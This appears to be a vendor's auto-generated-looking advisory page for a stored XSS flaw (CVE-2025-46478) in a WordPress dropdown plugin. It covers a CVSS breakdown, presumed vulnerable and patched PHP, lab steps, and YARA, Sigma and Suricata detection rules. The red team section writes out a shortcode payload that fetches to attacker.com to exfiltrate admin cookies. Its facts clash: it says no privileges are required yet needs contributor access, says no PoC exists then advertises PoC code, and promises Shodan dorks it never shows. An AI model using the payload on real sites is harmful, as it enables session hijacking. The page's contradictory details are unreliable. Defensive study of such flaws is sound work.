CVE-2025-46478
Executive Summary
CVE-2025-46478 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Dropdown Content by Metaloha, affecting versions up to and including 1.0.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. With a CVSS score of 7.1, this flaw poses a significant risk to WordPress sites using the plugin, potentially leading to session hijacking, data theft, or defacement. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manually are at risk. Since no patch is available, the supply chain risk is elevated, as site administrators must rely on manual mitigation or removal of the plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the stored XSS.
- User Interaction (UI): Required (R) – A victim must visit the affected page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High – Stored XSS can lead to persistent compromise of user sessions and data.
Deep Dive & Mechanics
The vulnerability exists in the dropdown-content WordPress plugin, which allows users to create dropdown content blocks. The plugin fails to sanitize or escape user input before storing it in the database and rendering it on the frontend. An attacker with contributor-level access or higher can inject malicious JavaScript into a dropdown content field. When an administrator or other user views the page containing the dropdown, the script executes in their browser context.
The core issue is in the plugin's handling of shortcode attributes or custom fields. For example, if the plugin uses a shortcode like [dropdown_content title="User Input"], the title attribute is not sanitized, allowing injection of "><script>alert('XSS')</script>.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin's main PHP file (e.g., dropdown-content.php). A typical vulnerable pattern might look like:
// Vulnerable code (example)
function dropdown_content_shortcode($atts) {
$title = $atts['title'];
return '<div class="dropdown-title">' . $title . '</div>';
}
add_shortcode('dropdown_content', 'dropdown_content_shortcode');
A patched version would use proper escaping:
// Patched code (example)
function dropdown_content_shortcode($atts) {
$title = esc_html($atts['title']);
return '<div class="dropdown-title">' . $title . '</div>';
}
add_shortcode('dropdown_content', 'dropdown_content_shortcode');
Exploitation & Lab Setup
Red Team
- Setup: Install WordPress with the Dropdown Content plugin (version 1.0.2) on a local server.
- Craft Payload: Create a post or page with the shortcode
[dropdown_content title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]. - Trigger: As an admin, view the post/page. The script executes, sending the admin's cookies to the attacker's server.
- Impact: Session hijacking, privilege escalation, or defacement.
Blue Team
- Detection: Monitor for unusual shortcode usage or unexpected JavaScript in dropdown content fields.
- Mitigation: Disable or remove the plugin until a patch is available. Use a Web Application Firewall (WAF) to block XSS payloads.
- Forensics: Check WordPress database for injected scripts in
wp_posts.post_contentor custom fields.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing cookie data.
- Host: Presence of
<script>tags in WordPress database fields related to the Dropdown Content plugin. - File: Modified plugin files (though unlikely, as the vulnerability is stored in the database).
- Logs: WordPress audit logs showing creation of posts/pages with suspicious shortcode attributes.
Detection Engineering
YARA Rule
rule CVE_2025_46478_Dropdown_Content_XSS {
meta:
description = "Detects stored XSS payloads in Dropdown Content plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46478"
strings:
$payload1 = /\[dropdown_content[^\]]*title\s*=\s*["'][^"']*<script/i
$payload2 = /\[dropdown_content[^\]]*title\s*=\s*["'][^"']*on\w+\s*=/i
condition:
any of them
}
Sigma Rule
title: Stored XSS via Dropdown Content Plugin
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in Dropdown Content plugin shortcode
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "dropdown_content"
http.body|contains|all:
- "title="
- "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-46478 Stored XSS in Dropdown Content Plugin"; flow:to_server,established; content:"dropdown_content"; http_uri; content:"title="; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable and remove the Dropdown Content plugin until a patched version is released.
- Alternative: Use a different plugin for dropdown content that is actively maintained.
- WAF: Deploy a Web Application Firewall with rules to block XSS payloads in shortcode attributes.
- Monitoring: Enable WordPress audit logging and monitor for suspicious shortcode usage.
- User Training: Educate users with contributor access about the risks of injecting code into content fields.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.